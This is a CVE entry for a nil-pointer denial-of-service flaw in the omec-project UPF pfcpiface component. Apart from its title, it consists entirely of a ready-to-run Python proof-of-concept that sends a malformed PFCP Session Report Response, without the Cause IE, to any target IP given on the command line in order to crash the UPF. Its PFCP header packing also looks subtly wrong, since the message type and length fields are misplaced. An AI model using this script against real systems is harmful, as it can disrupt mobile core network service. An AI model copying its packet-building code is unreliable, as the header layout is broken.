CVE-2025-65566: omec-project UPF pfcpiface组件空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-65566 PoC - Malformed PFCP Session Report Response This PoC demonstrates sending a malformed PFCP Session Report Response without the mandatory Cause Information Element to trigger a nil pointer dereference in omec-project UPF pfcpiface component. Note: This is for educational and authorized testing purposes only. """ import socket import struct def build_pfcp_header(message_type, sequence_number, flags=0x20): """Build PFCP header with specified message type and sequence number""" version = 1 # PFCP version # Flags: 4 bits spare, 1 bit S-flag (SEID present), 1 bit M-flag (Message Flavour), 2 bits spare header = struct.pack('!BBHI', (version << 5) | flags, # Version and flags 0, # Message Type message_type, # Message Type sequence_number) # Sequence Number return header def build_malformed_session_report_response(): """ Build a malformed PFCP Session Report Response without Cause IE This triggers nil pointer dereference in vulnerable UPF versions """ # PFCP Header # Message Type for Session Report Response is 0x36 (54) header = build_pfcp_header(0x36, 0x000001) # Session Report Response IEs (without mandatory Cause IE) # Using minimal IEs to trigger the vulnerability ie_data = b'' # Node ID IE (optional, but helps identify the message) node_id_type = 0x01 # FQDN node_id_content = b'upf.example.com\x00' ie_data += struct.pack('!HH', 0x0010, len(node_id_content)) # IE Type 16, Length ie_data += bytes([node_id_type]) ie_data += node_id_content # Padding to 4-byte alignment if len(ie_data) % 4 != 0: ie_data += b'\x00' * (4 - len(ie_data) % 4) return header + ie_data def send_malformed_pfcp_message(target_ip, target_port=8805): """ Send malformed PFCP Session Report Response to target UPF """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_msg = build_malformed_session_report_response() print(f"[*] Sending malformed PFCP Session Report Response to {target_ip}:{target_port}") print(f"[*] Message length: {len(malformed_msg)} bytes") print(f"[*] Message hex: {malformed_msg.hex()}") try: sock.sendto(malformed_msg, (target_ip, target_port)) print("[+] Malformed message sent successfully") print("[!] If target is vulnerable, UPF process should crash with panic") except Exception as e: print(f"[-] Error sending message: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-65566-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8805 send_malformed_pfcp_message(target, port)